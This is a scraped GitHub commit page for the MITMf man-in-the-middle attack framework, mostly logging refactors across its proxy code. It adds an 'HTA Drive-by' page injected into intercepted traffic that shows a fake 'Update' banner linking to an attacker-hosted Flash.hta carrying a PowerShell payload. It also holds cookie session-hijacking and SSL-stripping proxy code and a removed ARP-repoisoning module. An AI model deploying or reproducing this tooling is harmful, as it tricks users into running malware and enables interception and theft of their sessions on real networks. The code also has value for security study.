mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-14 02:37:06 -07:00
This is a vewwwy big commit
- The inject plugin now uses beautifulsoup4 to actually parse HTML and add content to it as supposed to using regexes - The logging of the whole framework has been compleatly overhauled - plugindetect.js now includes os.js from the metasploit framework for os and browser detection, let's us fingerprint hosts even if UA is lying! - New plugin HTA Drive-by has been added, prompts the user for a plugin update and makes them download an hta app which contains a powershell payload - the API of the plugins has been simplified - Improvements and error handling to user-agent parsing - Some misc bugfixes
This commit is contained in:
parent
ff0ada2a39
commit
5e2f30fb89
64 changed files with 3748 additions and 1473 deletions
70
core/banners.py
Normal file
70
core/banners.py
Normal file
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
import random
|
||||
|
||||
banner1 = """
|
||||
__ __ ___ .--. __ __ ___
|
||||
| |/ `.' `. |__| | |/ `.' `. _.._
|
||||
| .-. .-. '.--. .| | .-. .-. ' .' .._|
|
||||
| | | | | || | .' |_ | | | | | | | '
|
||||
| | | | | || | .' || | | | | | __| |__
|
||||
| | | | | || |'--. .-'| | | | | ||__ __|
|
||||
| | | | | || | | | | | | | | | | |
|
||||
|__| |__| |__||__| | | |__| |__| |__| | |
|
||||
| '.' | |
|
||||
| / | |
|
||||
`'-' |_|
|
||||
"""
|
||||
|
||||
banner2= """
|
||||
███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒
|
||||
▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒
|
||||
▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░
|
||||
▒██ ▒██ ░██░░ ▓██▓ ░ ▒██ ▒██ ░▓█▒ ░
|
||||
▒██▒ ░██▒░██░ ▒██▒ ░ ▒██▒ ░██▒░▒█░
|
||||
░ ▒░ ░ ░░▓ ▒ ░░ ░ ▒░ ░ ░ ▒ ░
|
||||
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░
|
||||
░ ░ ▒ ░ ░ ░ ░ ░ ░
|
||||
░ ░ ░
|
||||
"""
|
||||
|
||||
banner3 = """
|
||||
▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████
|
||||
▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███
|
||||
███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀
|
||||
███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄
|
||||
███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀
|
||||
███ ███ ███ ███ ███ ███ ███ ███ ███
|
||||
███ ███ ███ ███ ███ ███ ███ ███ ███
|
||||
▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███
|
||||
"""
|
||||
|
||||
banner4 = """
|
||||
███╗ ███╗██╗████████╗███╗ ███╗███████╗
|
||||
████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝
|
||||
██╔████╔██║██║ ██║ ██╔████╔██║█████╗
|
||||
██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝
|
||||
██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║
|
||||
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝
|
||||
"""
|
||||
|
||||
def get_banner():
|
||||
banners = [banner1, banner2, banner3, banner4]
|
||||
return random.choice(banners)
|
|
@ -18,24 +18,17 @@
|
|||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
|
||||
from mitmflib.watchdog.observers import Observer
|
||||
from mitmflib.watchdog.events import FileSystemEventHandler
|
||||
from configobj import ConfigObj
|
||||
|
||||
logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages
|
||||
|
||||
log = logging.getLogger('mitmf')
|
||||
|
||||
class ConfigWatcher(FileSystemEventHandler):
|
||||
class ConfigWatcher(FileSystemEventHandler, object):
|
||||
|
||||
@property
|
||||
def config(self):
|
||||
return ConfigObj("./config/mitmf.conf")
|
||||
|
||||
def on_modified(self, event):
|
||||
log.debug("[{}] Detected configuration changes, reloading!".format(self.name))
|
||||
self.on_config_change()
|
||||
|
||||
def start_config_watch(self):
|
||||
|
|
|
@ -39,7 +39,8 @@ from URLMonitor import URLMonitor
|
|||
from CookieCleaner import CookieCleaner
|
||||
from DnsCache import DnsCache
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("Ferret_ClientRequest", formatter)
|
||||
|
||||
class ClientRequest(Request):
|
||||
|
||||
|
@ -62,7 +63,7 @@ class ClientRequest(Request):
|
|||
|
||||
if 'accept-encoding' in headers:
|
||||
del headers['accept-encoding']
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Zapped encoding")
|
||||
log.debug("[ClientRequest] Zapped encoding")
|
||||
|
||||
if 'if-modified-since' in headers:
|
||||
del headers['if-modified-since']
|
||||
|
@ -74,10 +75,10 @@ class ClientRequest(Request):
|
|||
try:
|
||||
for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]:
|
||||
if headers['host'] == entry['host']:
|
||||
mitmf_logger.info("[Ferret-NG] Hijacking session for host: {}".format(headers['host']))
|
||||
log.info("Hijacking session for host: {}".format(headers['host']))
|
||||
headers['cookie'] = entry['cookie']
|
||||
except KeyError:
|
||||
mitmf_logger.error("[Ferret-NG] No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client))
|
||||
log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client))
|
||||
pass
|
||||
|
||||
return headers
|
||||
|
@ -90,7 +91,7 @@ class ClientRequest(Request):
|
|||
return self.uri
|
||||
|
||||
def handleHostResolvedSuccess(self, address):
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
|
||||
log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address))
|
||||
host = self.getHeader("host")
|
||||
headers = self.cleanHeaders()
|
||||
client = self.getClientIP()
|
||||
|
@ -107,18 +108,18 @@ class ClientRequest(Request):
|
|||
self.dnsCache.cacheResolution(hostparts[0], address)
|
||||
|
||||
if (not self.cookieCleaner.isClean(self.method, client, host, headers)):
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending expired cookies")
|
||||
log.debug("[ClientRequest] Sending expired cookies")
|
||||
self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path))
|
||||
|
||||
elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)):
|
||||
if 'securelink' in headers:
|
||||
del headers['securelink']
|
||||
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via SSL ({})".format((client,url)))
|
||||
log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url)))
|
||||
self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url))
|
||||
|
||||
else:
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Sending request via HTTP")
|
||||
log.debug("[ClientRequest] Sending request via HTTP")
|
||||
#self.proxyViaHTTP(address, self.method, path, postData, headers)
|
||||
port = 80
|
||||
if len(hostparts) > 1:
|
||||
|
@ -127,7 +128,7 @@ class ClientRequest(Request):
|
|||
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
|
||||
|
||||
def handleHostResolvedError(self, error):
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host resolution error: {}".format(error))
|
||||
log.debug("[ClientRequest] Host resolution error: {}".format(error))
|
||||
try:
|
||||
self.finish()
|
||||
except:
|
||||
|
@ -137,13 +138,13 @@ class ClientRequest(Request):
|
|||
address = self.dnsCache.getCachedAddress(host)
|
||||
|
||||
if address != None:
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Host cached: {} {}".format(host, address))
|
||||
log.debug("[ClientRequest] Host cached: {} {}".format(host, address))
|
||||
return defer.succeed(address)
|
||||
else:
|
||||
return reactor.resolve(host)
|
||||
|
||||
def process(self):
|
||||
mitmf_logger.debug("[Ferret-NG] [ClientRequest] Resolving host: {}".format(self.getHeader('host')))
|
||||
log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host')))
|
||||
host = self.getHeader('host').split(":")[0]
|
||||
|
||||
deferred = self.resolveHost(host)
|
||||
|
|
|
@ -16,10 +16,6 @@
|
|||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class DnsCache:
|
||||
|
||||
'''
|
||||
|
|
|
@ -21,7 +21,8 @@ import logging, re, string
|
|||
from ServerConnection import ServerConnection
|
||||
from URLMonitor import URLMonitor
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("Ferret_SSLServerConnection", formatter)
|
||||
|
||||
class SSLServerConnection(ServerConnection):
|
||||
|
||||
|
@ -63,13 +64,13 @@ class SSLServerConnection(ServerConnection):
|
|||
if ((not link.startswith('http')) and (not link.startswith('/'))):
|
||||
absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
|
||||
|
||||
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found path-relative link in secure transmission: " + link)
|
||||
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
|
||||
log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link)
|
||||
log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink)
|
||||
elif not link.startswith('http'):
|
||||
absoluteLink = "http://"+self.headers['host']+link
|
||||
|
||||
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] Found relative link in secure transmission: " + link)
|
||||
mitmf_logger.debug("[Ferret-NG] [SSLServerConnection] New Absolute link: " + absoluteLink)
|
||||
log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link)
|
||||
log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink)
|
||||
|
||||
if not absoluteLink == "":
|
||||
absoluteLink = absoluteLink.replace('&', '&')
|
||||
|
|
|
@ -28,7 +28,8 @@ import sys
|
|||
from twisted.web.http import HTTPClient
|
||||
from URLMonitor import URLMonitor
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("Ferret_ServerConnection", formatter)
|
||||
|
||||
class ServerConnection(HTTPClient):
|
||||
|
||||
|
@ -66,13 +67,13 @@ class ServerConnection(HTTPClient):
|
|||
def sendRequest(self):
|
||||
if self.command == 'GET':
|
||||
|
||||
mitmf_logger.debug(self.client.getClientIP() + " [Ferret-NG] Sending Request: {}".format(self.headers['host']))
|
||||
log.debug(self.client.getClientIP() + "Sending Request: {}".format(self.headers['host']))
|
||||
|
||||
self.sendCommand(self.command, self.uri)
|
||||
|
||||
def sendHeaders(self):
|
||||
for header, value in self.headers.iteritems():
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Sending header: ({}: {})".format(header, value))
|
||||
log.debug("[ServerConnection] Sending header: ({}: {})".format(header, value))
|
||||
self.sendHeader(header, value)
|
||||
|
||||
self.endHeaders()
|
||||
|
@ -82,7 +83,7 @@ class ServerConnection(HTTPClient):
|
|||
self.transport.write(self.postData)
|
||||
|
||||
def connectionMade(self):
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] HTTP connection made.")
|
||||
log.debug("[ServerConnection] HTTP connection made.")
|
||||
self.sendRequest()
|
||||
self.sendHeaders()
|
||||
|
||||
|
@ -90,7 +91,7 @@ class ServerConnection(HTTPClient):
|
|||
self.sendPostData()
|
||||
|
||||
def handleStatus(self, version, code, message):
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Server response: {} {} {}".format(version, code, message))
|
||||
log.debug("[ServerConnection] Server response: {} {} {}".format(version, code, message))
|
||||
self.client.setResponseCode(int(code), message)
|
||||
|
||||
def handleHeader(self, key, value):
|
||||
|
@ -100,15 +101,15 @@ class ServerConnection(HTTPClient):
|
|||
if (key.lower() == 'content-type'):
|
||||
if (value.find('image') != -1):
|
||||
self.isImageRequest = True
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is image content, not scanning")
|
||||
log.debug("[ServerConnection] Response is image content, not scanning")
|
||||
|
||||
if (key.lower() == 'content-encoding'):
|
||||
if (value.find('gzip') != -1):
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Response is compressed")
|
||||
log.debug("[ServerConnection] Response is compressed")
|
||||
self.isCompressed = True
|
||||
|
||||
elif (key.lower()== 'strict-transport-security'):
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Zapped a strict-trasport-security header")
|
||||
log.debug("[ServerConnection] Zapped a strict-trasport-security header")
|
||||
|
||||
elif (key.lower() == 'content-length'):
|
||||
self.contentLength = value
|
||||
|
@ -126,9 +127,9 @@ class ServerConnection(HTTPClient):
|
|||
if self.length == 0:
|
||||
self.shutdown()
|
||||
|
||||
if logging.getLevelName(mitmf_logger.getEffectiveLevel()) == "DEBUG":
|
||||
if logging.getLevelName(log.getEffectiveLevel()) == "DEBUG":
|
||||
for header, value in self.client.headers.iteritems():
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Receiving header: ({}: {})".format(header, value))
|
||||
log.debug("[ServerConnection] Receiving header: ({}: {})".format(header, value))
|
||||
|
||||
def handleResponsePart(self, data):
|
||||
if (self.isImageRequest):
|
||||
|
@ -147,12 +148,12 @@ class ServerConnection(HTTPClient):
|
|||
|
||||
def handleResponse(self, data):
|
||||
if (self.isCompressed):
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Decompressing content...")
|
||||
log.debug("[ServerConnection] Decompressing content...")
|
||||
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read()
|
||||
|
||||
data = self.replaceSecureLinks(data)
|
||||
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||
log.debug("[ServerConnection] Read from server {} bytes of data".format(len(data)))
|
||||
|
||||
if (self.contentLength != None):
|
||||
self.client.setHeader('Content-Length', len(data))
|
||||
|
@ -165,7 +166,7 @@ class ServerConnection(HTTPClient):
|
|||
try:
|
||||
self.shutdown()
|
||||
except:
|
||||
mitmf_logger.info("[Ferret-NG] [ServerConnection] Client connection dropped before request finished.")
|
||||
log.info("[ServerConnection] Client connection dropped before request finished.")
|
||||
|
||||
def replaceSecureLinks(self, data):
|
||||
|
||||
|
@ -174,7 +175,7 @@ class ServerConnection(HTTPClient):
|
|||
for match in iterator:
|
||||
url = match.group()
|
||||
|
||||
mitmf_logger.debug("[Ferret-NG] [ServerConnection] Found secure reference: " + url)
|
||||
log.debug("[ServerConnection] Found secure reference: " + url)
|
||||
|
||||
url = url.replace('https://', 'http://', 1)
|
||||
url = url.replace('&', '&')
|
||||
|
|
|
@ -17,9 +17,11 @@
|
|||
#
|
||||
|
||||
import logging
|
||||
from core.logger import logger
|
||||
from twisted.internet.protocol import ClientFactory
|
||||
|
||||
mitmf_logger = logging.getLogger('mimtf')
|
||||
formatter = logging.Formatter("%(asctime)s [Ferrent-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("Ferret_ServerConnectionFactory", formatter)
|
||||
|
||||
class ServerConnectionFactory(ClientFactory):
|
||||
|
||||
|
@ -34,12 +36,12 @@ class ServerConnectionFactory(ClientFactory):
|
|||
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
|
||||
|
||||
def clientConnectionFailed(self, connector, reason):
|
||||
mitmf_logger.debug("[ServerConnectionFactory] Server connection failed.")
|
||||
log.debug("Server connection failed.")
|
||||
|
||||
destination = connector.getDestination()
|
||||
|
||||
if (destination.port != 443):
|
||||
mitmf_logger.debug("[ServerConnectionFactory] Retrying via SSL")
|
||||
log.debug("Retrying via SSL")
|
||||
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
|
||||
else:
|
||||
try:
|
||||
|
|
|
@ -18,9 +18,6 @@
|
|||
|
||||
import re
|
||||
import os
|
||||
import logging
|
||||
|
||||
mitmf_logger = logging.getLogger('mimtf')
|
||||
|
||||
class URLMonitor:
|
||||
|
||||
|
|
71
core/html/htadriveby.html
Normal file
71
core/html/htadriveby.html
Normal file
|
@ -0,0 +1,71 @@
|
|||
<script>
|
||||
var newHTML = document.createElement('div');
|
||||
|
||||
newHTML.innerHTML = ' \
|
||||
<style type="text/css"> \
|
||||
\
|
||||
#headerupdate { \
|
||||
display:none; \
|
||||
position: fixed !important; \
|
||||
top: 0 !important; \
|
||||
left: 0 !important; \
|
||||
z-index: 2000 !important; \
|
||||
width: 100% !important; \
|
||||
height: 40px !important; \
|
||||
overflow: hidden !important; \
|
||||
font-size: 14px !important; \
|
||||
color: black !important; \
|
||||
font-weight: normal !important; \
|
||||
background-color:#F0F0F0 !important; \
|
||||
border-bottom: 1px solid #A0A0A0 !important; \
|
||||
\
|
||||
} \
|
||||
\
|
||||
#headerupdate h1 { \
|
||||
float: left !important; \
|
||||
margin-left: 2px !important; \
|
||||
margin-top: 14px !important; \
|
||||
padding-left: 30px !important; \
|
||||
font-weight:normal !important; \
|
||||
font-size: 13px !important; \
|
||||
\
|
||||
background:url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAAOCAYAAADez2d9AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsIAAA7CARUoSoAAAACnSURBVDhP5ZRNCgMhDIWj6ELwFt7JE3gkT+GRPIVLwZ8Wpy4KNXFm6KLQDx4qgbwkoiyl9AAE7z0opUBrDaUUyDmDc24bw+BzXVJrnbsX72cqhkF2FmMEKSUIIaD3fiQ0xmxjGKhZCOFIcgXOOVhr5+kTdIyj0mF2RbtRomattVuiQM1WlZ8RxW90tkp0RhR/aLa6/DOiQM0YY8tklMajpiC/q+8C8AS167V3qBALWwAAAABJRU5ErkJggg==") no-repeat left top !important; \
|
||||
} \
|
||||
\
|
||||
#headerupdate ul { \
|
||||
padding: 0 !important; \
|
||||
text-align: right !important; \
|
||||
} \
|
||||
\
|
||||
#headerupdate li { \
|
||||
display: inline-block !important; \
|
||||
margin: 0px 15px !important; \
|
||||
text-align: left !important; \
|
||||
} \
|
||||
\
|
||||
</style> \
|
||||
<div id="headerupdate"> \
|
||||
<h1> \
|
||||
<strong> \
|
||||
_TEXT_GOES_HERE_ \
|
||||
</strong> \
|
||||
</h1> \
|
||||
\
|
||||
<ul> \
|
||||
\
|
||||
<li> \
|
||||
<a target="_blank" href="http://_IP_GOES_HERE_/Flash.hta"> \
|
||||
<button type="button" style="font-size: 100%; margin-top: 5px; padding: 2px 5px 2px 5px; color: black;"> \
|
||||
Update \
|
||||
</button> \
|
||||
\
|
||||
</a> \
|
||||
</li> \
|
||||
</ul> \
|
||||
</div> \
|
||||
';
|
||||
|
||||
document.body.appendChild(newHTML);
|
||||
document.getElementById("headerupdate").style.display = "block";
|
||||
|
||||
</script>
|
File diff suppressed because one or more lines are too long
104
core/mitmfapi.py
Normal file
104
core/mitmfapi.py
Normal file
|
@ -0,0 +1,104 @@
|
|||
# Copyright (c) 2014-2016 Marcello Salvati
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
"""
|
||||
Originally coded by @xtr4nge
|
||||
"""
|
||||
|
||||
#import multiprocessing
|
||||
import threading
|
||||
import logging
|
||||
import json
|
||||
import sys
|
||||
|
||||
from flask import Flask
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
class mitmfapi:
|
||||
|
||||
_instance = None
|
||||
host = ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['host']
|
||||
port = int(ConfigWatcher.getInstance().config['MITMf']['MITMf-API']['port'])
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
if mitmfapi._instance is None:
|
||||
mitmfapi._instance = mitmfapi()
|
||||
|
||||
return mitmfapi._instance
|
||||
|
||||
@app.route("/")
|
||||
def getPlugins():
|
||||
# example: http://127.0.0.1:9090/
|
||||
pdict = {}
|
||||
|
||||
#print ProxyPlugins.getInstance().plist
|
||||
for activated_plugin in ProxyPlugins.getInstance().plist:
|
||||
pdict[activated_plugin.name] = True
|
||||
|
||||
#print ProxyPlugins.getInstance().plist_all
|
||||
for plugin in ProxyPlugins.getInstance().plist_all:
|
||||
if plugin.name not in pdict:
|
||||
pdict[plugin.name] = False
|
||||
|
||||
#print ProxyPlugins.getInstance().pmthds
|
||||
|
||||
return json.dumps(pdict)
|
||||
|
||||
@app.route("/<plugin>")
|
||||
def getPluginStatus(plugin):
|
||||
# example: http://127.0.0.1:9090/cachekill
|
||||
for p in ProxyPlugins.getInstance().plist:
|
||||
if plugin == p.name:
|
||||
return json.dumps("1")
|
||||
|
||||
return json.dumps("0")
|
||||
|
||||
@app.route("/<plugin>/<status>")
|
||||
def setPluginStatus(plugin, status):
|
||||
# example: http://127.0.0.1:9090/cachekill/1 # enabled
|
||||
# example: http://127.0.0.1:9090/cachekill/0 # disabled
|
||||
if status == "1":
|
||||
for p in ProxyPlugins.getInstance().plist_all:
|
||||
if (p.name == plugin) and (p not in ProxyPlugins.getInstance().plist):
|
||||
ProxyPlugins.getInstance().addPlugin(p)
|
||||
return json.dumps({"plugin": plugin, "response": "success"})
|
||||
|
||||
elif status == "0":
|
||||
for p in ProxyPlugins.getInstance().plist:
|
||||
if p.name == plugin:
|
||||
ProxyPlugins.getInstance().removePlugin(p)
|
||||
return json.dumps({"plugin": plugin, "response": "success"})
|
||||
|
||||
return json.dumps({"plugin": plugin, "response": "failed"})
|
||||
|
||||
def startFlask(self):
|
||||
app.run(debug=False, host=self.host, port=self.port)
|
||||
|
||||
#def start(self):
|
||||
# api_thread = multiprocessing.Process(name="mitmfapi", target=self.startFlask)
|
||||
# api_thread.daemon = True
|
||||
# api_thread.start()
|
||||
|
||||
def start(self):
|
||||
api_thread = threading.Thread(name='mitmfapi', target=self.startFlask)
|
||||
api_thread.setDaemon(True)
|
||||
api_thread.start()
|
|
@ -27,8 +27,6 @@ import requests
|
|||
from core.configwatcher import ConfigWatcher
|
||||
from core.utils import shutdown
|
||||
|
||||
logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message
|
||||
|
||||
class Msfrpc:
|
||||
|
||||
class MsfError(Exception):
|
||||
|
@ -87,7 +85,7 @@ class Msfrpc:
|
|||
except:
|
||||
raise self.MsfAuthError("MsfRPC: Authentication failed")
|
||||
|
||||
class Msf:
|
||||
class Msf(ConfigWatcher):
|
||||
'''
|
||||
This is just a wrapper around the Msfrpc class,
|
||||
prevents a lot of code re-use throught the framework
|
||||
|
@ -95,13 +93,14 @@ class Msf:
|
|||
'''
|
||||
def __init__(self):
|
||||
try:
|
||||
self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip'],
|
||||
"port": ConfigWatcher.config['MITMf']['Metasploit']['rpcport']})
|
||||
self.msf = Msfrpc({"host": self.config['MITMf']['Metasploit']['rpcip'],
|
||||
"port": self.config['MITMf']['Metasploit']['rpcport']})
|
||||
|
||||
self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass'])
|
||||
self.msf.login('msf', self.config['MITMf']['Metasploit']['rpcpass'])
|
||||
except Exception as e:
|
||||
shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e))
|
||||
|
||||
@property
|
||||
def version(self):
|
||||
return self.msf.call('core.version')['version']
|
||||
|
||||
|
@ -114,12 +113,14 @@ class Msf:
|
|||
def killjob(self, pid):
|
||||
return self.msf.call('job.kill', [pid])
|
||||
|
||||
def findpid(self, name):
|
||||
def findjobs(self, name):
|
||||
jobs = self.jobs()
|
||||
pids = []
|
||||
for pid, jobname in jobs.iteritems():
|
||||
if name in jobname:
|
||||
return pid
|
||||
return None
|
||||
pids.append(pid)
|
||||
|
||||
return pids
|
||||
|
||||
def sessions(self):
|
||||
return self.msf.call('session.list')
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python2
|
||||
|
||||
import logging
|
||||
import binascii
|
||||
import struct
|
||||
|
@ -15,8 +13,6 @@ from BaseHTTPServer import BaseHTTPRequestHandler
|
|||
from StringIO import StringIO
|
||||
from urllib import unquote
|
||||
|
||||
# shut up scapy
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
|
||||
from scapy.all import *
|
||||
conf.verb=0
|
||||
|
||||
|
|
|
@ -1,88 +0,0 @@
|
|||
import logging
|
||||
import os
|
||||
import sys
|
||||
import threading
|
||||
|
||||
from scapy.all import *
|
||||
from core.utils import shutdown
|
||||
|
||||
mitmf_logger = logging.getLogger('mitmf')
|
||||
|
||||
class ARPWatch:
|
||||
|
||||
def __init__(self, gatewayip, myip, interface):
|
||||
self.gatewayip = gatewayip
|
||||
self.gatewaymac = None
|
||||
self.myip = myip
|
||||
self.interface = interface
|
||||
self.debug = False
|
||||
self.watch = True
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
self.gatewaymac = getmacbyip(self.gatewayip)
|
||||
if self.gatewaymac is None:
|
||||
shutdown("[ARPWatch] Error: Could not resolve gateway's MAC address")
|
||||
except Exception, e:
|
||||
shutdown("[ARPWatch] Exception occured while resolving gateway's MAC address: {}".format(e))
|
||||
|
||||
mitmf_logger.debug("[ARPWatch] gatewayip => {}".format(self.gatewayip))
|
||||
mitmf_logger.debug("[ARPWatch] gatewaymac => {}".format(self.gatewaymac))
|
||||
mitmf_logger.debug("[ARPWatch] myip => {}".format(self.myip))
|
||||
mitmf_logger.debug("[ARPWatch] interface => {}".format(self.interface))
|
||||
|
||||
t = threading.Thread(name='ARPWatch', target=self.startARPWatch)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def stop(self):
|
||||
mitmf_logger.debug("[ARPWatch] shutting down")
|
||||
self.watch = False
|
||||
|
||||
def startARPWatch(self):
|
||||
sniff(prn=self.arp_monitor_callback, filter="arp", store=0)
|
||||
|
||||
def arp_monitor_callback(self, pkt):
|
||||
if self.watch is True: #Prevents sending packets on exiting
|
||||
if ARP in pkt and pkt[ARP].op == 1: #who-has only
|
||||
#broadcast mac is 00:00:00:00:00:00
|
||||
packet = None
|
||||
#print str(pkt[ARP].hwsrc) #mac of sender
|
||||
#print str(pkt[ARP].psrc) #ip of sender
|
||||
#print str(pkt[ARP].hwdst) #mac of destination (often broadcst)
|
||||
#print str(pkt[ARP].pdst) #ip of destination (Who is ...?)
|
||||
|
||||
if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)):
|
||||
mitmf_logger.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.gatewayip
|
||||
packet.hwdst = str(pkt[ARP].hwsrc)
|
||||
packet.pdst = str(pkt[ARP].psrc)
|
||||
|
||||
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)):
|
||||
mitmf_logger.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst))
|
||||
#send repoison packet
|
||||
packet = ARP()
|
||||
packet.op = 2
|
||||
packet.psrc = self.gatewayip
|
||||
packet.hwdst = '00:00:00:00:00:00'
|
||||
packet.pdst = str(pkt[ARP].pdst)
|
||||
|
||||
